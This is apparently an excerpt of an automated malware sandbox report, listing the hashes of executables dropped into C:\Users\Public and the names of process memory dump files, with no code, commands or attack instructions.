47c3a27b5a9fa6273d779ed8afffeb2bbbecab6420708f0ca36629932e1d910e06297839ca39ec01fe7e975a52ed12aaa0e781f5112870e1b7621722e1808c08

Download Submit
C:\Users\Public\bwm.exe
MD5
92821d6dd83105f5f2d08c43f28fa309

SHA1
93c72e2494705509b56ca93cea2448aff098cb6d

SHA256
dc3171271adef72e1faf51d68c3c76daaffa9f097ef6d51aa600c98f129209e8

SHA512
47c3a27b5a9fa6273d779ed8afffeb2bbbecab6420708f0ca36629932e1d910e06297839ca39ec01fe7e975a52ed12aaa0e781f5112870e1b7621722e1808c08

Download Submit
C:\Users\Public\mwb.exe
MD5
92821d6dd83105f5f2d08c43f28fa309

SHA1
93c72e2494705509b56ca93cea2448aff098cb6d

SHA256
dc3171271adef72e1faf51d68c3c76daaffa9f097ef6d51aa600c98f129209e8

SHA512
47c3a27b5a9fa6273d779ed8afffeb2bbbecab6420708f0ca36629932e1d910e06297839ca39ec01fe7e975a52ed12aaa0e781f5112870e1b7621722e1808c08

Download Submit
C:\Users\Public\mwb.exe
MD5
92821d6dd83105f5f2d08c43f28fa309

SHA1
93c72e2494705509b56ca93cea2448aff098cb6d

SHA256
dc3171271adef72e1faf51d68c3c76daaffa9f097ef6d51aa600c98f129209e8

SHA512
47c3a27b5a9fa6273d779ed8afffeb2bbbecab6420708f0ca36629932e1d910e06297839ca39ec01fe7e975a52ed12aaa0e781f5112870e1b7621722e1808c08

Download Submit
C:\Users\Public\pbt.exe
MD5
1f76254f98b1ce3e145e72de250b6b01

SHA1
2f7170a01be8b4638b9b869758d7b34a49306c14

SHA256
e9909c77bc763fd20edbfbd3b4ad1306399d365312ea50eb45079a4f54afc0e2

SHA512
f4e1640018e7cc8994ac917a3208a1c3b7152c373182c9fe62cc7a7b73ecc81c470039530122c52e8b1f3386de0c3165d61be3188f409d72ce86511421b2b289

Download Submit
C:\Users\Public\pbt.exe
MD5
1f76254f98b1ce3e145e72de250b6b01

SHA1
2f7170a01be8b4638b9b869758d7b34a49306c14

SHA256
e9909c77bc763fd20edbfbd3b4ad1306399d365312ea50eb45079a4f54afc0e2

SHA512
f4e1640018e7cc8994ac917a3208a1c3b7152c373182c9fe62cc7a7b73ecc81c470039530122c52e8b1f3386de0c3165d61be3188f409d72ce86511421b2b289

Download Submit
memory/852-2-0x0000000000000000-mapping.dmp

Download
memory/852-3-0x0000000000000000-mapping.dmp

Download
memory/1256-15-0x0000000000000000-mapping.dmp

Download
memory/2124-28-0x0000000070BE0000-0x00000000712CE000-memory.dmp

Filesize
6.9MB

Download
memory/2124-22-0x0000000000000000-mapping.dmp

Download
memory/2124-69-0x0000000007490000-0x0000000007491000-memory.dmp

Filesize
4KB

Download
memory/2184-30-0x0000000070BE0000-0x00000000712CE000-memory.dmp

Filesize
6.9MB

Download
memory/2184-87-0x00000000095C0000-0x00000000095C1000-memory.dmp

Filesize
4KB

Download
memory/2184-23-0x0000000000000000-mapping.dmp

Download
memory/2304-9-0x0000000000000000-mapping.dmp

Download
memory/2372-18-0x0000000000000000-mapping.dmp

Download
memory/2516-14-0x0000000000000000-mapping.dmp

Download
memory/3084-7-0x0000000000000000-mapping.dmp

Download
memory/3148-10-0x0000000000000000-mapping.dmp

Download
memory/3524-57-0x0000000007560000-0x0000000007561000-memory.dmp

Filesize
4KB

Download
memory/3524-27-0x0000000070BE0000-0x00000000712CE000-memory.dmp

Filesize
6.9MB

Download
memory/3524-24-0x0000000000000000-mapping.dmp

Download
memory/3556-100-0x0000000009450000-0x0000000009451000-memory.dmp

Filesize
4KB

Download
memory/3556-99-0x00000000098B0000-0x00000000098B1000-memory.dmp

Filesize
4KB

Download
memory/3556-105-0x000000000A690000-0x000000000A691000-memory.dmp

Filesize
4KB

Download
memory/3556-32-0x0000000070BE0000-0x00000000712CE000-memory.dmp

Filesize
6.9MB

Download
memory/3556-63-0x0000000007EA0000-0x0000000007EA1000-memory.dmp

Filesize
4KB

Download
memory/3556-21-0x0000000000000000-mapping.dmp

Download
memory/3720-12-0x0000000000000000-mapping.dmp

Download
memory/3752-20-0x0000000000000000-mapping.dmp

Download
memory/3832-93-0x00000000083D0000-0x00000000083D1000-memory.dmp

Filesize
4KB

Download
memory/3832-39-0x00000000071A0000-0x00000000071A1000-memory.dmp

Filesize
4KB

Download
memory/3832-51-0x00000000079B0000-0x00000000079B1000-memory.dmp

Filesize
4KB

Download
memory/3832-33-0x0000000004690000-0x0000000004691000-memory.dmp

Filesize
4KB

Download
memory/3832-29-0x0000000070BE0000-0x00000000712CE000-memory.dmp

Filesize
6.9MB

Download
memory/3832-25-0x0000000000000000-mapping.dmp

Download
memory/3908-45-0x0000000007A00000-0x0000000007A01000-memory.dmp

Filesize
4KB

Download
memory/3908-26-0x0000000000000000-mapping.dmp

Download
memory/3908-81-0x0000000008A80000-0x0000000008A81000-memory.dmp

Filesize
4KB

Download
memory/3908-75-0x0000000008D20000-0x0000000008D21000-memory.dmp

Filesize
4KB

Download
memory/3908-31-0x0000000070BE0000-0x00000000712CE000-memory.dmp

Filesize
6.9MB

Download
memory/3944-0-0x0000000000000000-mapping.dmp

Download
memory/5020-121-0x0000000070BE0000-0x00000000712CE000-memory.dmp

Filesize
6.9MB

Download
memory/5020-117-0x0000000000000000-mapping.dmp

Download
memory/5020-127-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/5032-118-0x0000000000000000-mapping.dmp

Download
memory/5056-122-0x0000000000000000-mapping.dmp

Download